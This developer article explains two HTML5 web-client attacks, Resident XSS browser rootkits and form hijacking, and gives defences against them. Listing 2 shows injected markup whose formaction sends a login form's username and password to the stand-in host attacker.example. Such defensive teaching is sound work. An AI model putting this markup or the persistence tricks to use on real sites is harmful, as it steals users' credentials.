HTML5 brings new opportunities – for developers and for attackers.
Here you will see two examples of how an attacker could abuse HTML5 and how you as a developer could prevent this (or not).
These are only two of many new or improved attacks on web clients. I chose them for two reasons: the first is a new attack, first described in December 2011 and not widely known to developers. The second shows a misuse of new HTML5 functionalities which have often has been overlooked.
A new kind of XSS
I assume that all readers know DOM-based XSS. If not, you can find a good description in a paper from Amit Klein, in which he describes the concept for the first time, back in 2005 [1]. In short, DOM-based XSS works solely in the browser – it abuses vulnerabilities in JavaScript code on the client and is independent from the code on the server. As you can see from the year of its discovery, it’s absolutely autonomous from HTML5 – it depends only on JavaScript code in the browser. But with HTML5, we get a new version of XSS: Resident XSS. Artur Janc chose this name for a new attack, which he presented at the 28th Chaos Communication Congress in December 2001. In case of Resident XSS, the malicious JavaScript code will be introduced permanently into the web client of a user [2]. Unlike with traditional XSS, whether reflected, persistent or DOMbased, where the malicious code (in most cases) is executed and terminated, the Resident XSS code remains active as long as the affected window or the affected tab remains open.
Artur Janc used Resident XSS to implement a rootkit in the web client. With the permanent running code, the attacker gains complete control over the web client and access to the web application in the name of the attacked user. All input to and output from the web application is under his control. And this without any chance for the server to recognise the attack or to inform the user in case the attack is recognised.
To always have access to the malicious code, the attacker needs a backdoor. To gain this, the malicious code is stored on the client, for example in Local Storage or the SQL database or in Flash or HTML cookies.
In order to remain active in the browser, the malicious code can secretly open a minimised window in the background or inject iframes into other tabs.
Figure 1 shows the concept of the attack: after the XSS code somehow gets into the client (for example,via an XSS vulnerability in the web application), it stays active in a hidden or invisible iframe or a background window and is stored in the Local Storage or SQL database.
Removal is difficult
Rootkits have two main objectives: to evade detection and to prevent their elimination. And that’s not only valid on PCs or servers, but also in case of browserbased rootkits for web applications. Even if the attack is detected, the removal of the malicious code on the client is difficult. As long as there is an open tab or window to the web application domain with the malicious code in it, this malicious code can manipulate the current session. A refresh of the page, triggered by metatag or Ajax, may be waived by the malicious code.
The web application can not even warn the user of the ongoing attack, as the malicious code can suppress or tamper with this warning. Also, getting rid of the malicious code is not as easy as you might think: closing the tabs of the attacked application is useless if the malicious code is running in other tabs or hidden frames in the context of this web application. Also, closing all browser windows and exiting the web browser does not eliminate the malicious code, if it was stored in the Local Storage, SQL Database or the local cache. If the user deletes the Local Storage while there are still open tabs or windows running the malicious code, it will restore itself in the Local Storage immediately. Artur Janc thinks the following procedure is apossible solution:
••Close all browser windows except one.
••Close all tabs in the window except one.
••In this remaining tab, call about:blank.
••Delete all data the web application has stored on the client: cookies, caches, Local Storage, SQL database, Local Shared Objects from the Flash player, etc.
••Restart the browser.
How would you explain this to a user? And what rightminded user would do this? An alternative way is to simply delete the affected browser profile. But what user would do this?
Protection against Resident XSS
Protecting against Resident XSS is simple in theory, though the implementation may be a little tricky: avoid all XSS vulnerabilities. For the server side, the old, reliable methods are working fine. For the client side, you must choose. Don’t use user-controllable parameters, and you are on the safe side. If you use them, you have two possibilities: first, accept only known good values (in other words, use a whitelist); second, check for malicious content (and therefore first define what input is malicious, known as blacklist) and encode the input.
Forms going astray
HTML5 allows all form elements such as buttons, input boxes, etc. to bind themselves to a form on the page, regardless of the position of the form. This might look like Listing 1.
Combined with XSS or malicious adverts, this allows new social engineering attacks. In addition, there are new attributes for tags like button or submit that allow further attacks:
••formaction changes the target of the form (the action attribute of the form tag).
••formenctype changes the data encoding of the form.
••formmethod changes the method attribute of the form tag – a GET form becomes a POST form and vice versa.
••formtarget changes the target attribute of the form tag, the window in which the action URL is opened.
An attacker with the ability to execute JavaScript on a web page (for example via an XSS vulnerability or by a malicious ad) can manipulate all forms on this page. For example, he can ensure that the completed forms are sent to his server. Consider the example in Listing 2.
The button appears as the specified alluring image. When the user clicks on the image while the form is filled, the browser will send his credentials to the attacker.
Listing 2: A manipulated form
…
<form id=”login” action=”login.asp” method=”post”>
Username: <input name=”name”> <br>
Password: <input name=”pass”> <br>
<input type=”submit” value=”login”>
</form>
<p>
Some text, nothing is wrong until now…
</p>
<– Here comes the malicious advertising, which injects code –>
<button type=”submit” form=”login” formaction=”http://attacker.example/
collect.php”>
<img src=”http://attacker .example/luring-pic.jpg”>
</button>
<- End of the injected code ->
…
You think that’s a contrived example? Have you never entered credentials somewhere, but then changed your mind and instead clicked on a link or an image on the page? For example, if you discover some interesting news on a webmail portal while logging in to the site?
Imagine you want to log in to a portal or social network,and suddenly you see a picture that says that you have been selected as the x-thousandth visitor as a recipient of a free iPhone. You think nobody’s fooled by such nonsense? Then why are there so many similar adverts? Someone must click on them, or they wouldn’t be there.
Protection against the attack
First the old Atari slogan: it’s not a bug, it’s a feature. The forms and their element should work as described. To prevent attacks, you must protect the pages against manipulation: don’t have an XSS vulnerability (that’s self-evident) and don’t have malicious advertising. And that’s the problem: how do you prevent manipulated advertising after a compromise of the ad server, which is normally out of your control?
Conclusion
With HTML5 you can do many wonderful things. On the other hand, an attacker can do many terrible things. Everything you can use to benefit the users, an attacker can use against them. The two points above are only two of many possible attacks.
But this is not really news. Attacks on web applications are nearly as old as web applications themselves, and since the invention of “Web 2.0” and Ajax we have had more and more attacks on the web client. And now, with the spread of HTML5, we get attacks on this new technology. As always, you have to learn two things: how to use the new technology and how to prevent attacks on it. Nothing new at all – so be prepared to repel attacks.
Leave a Reply
You must be logged in to post a comment.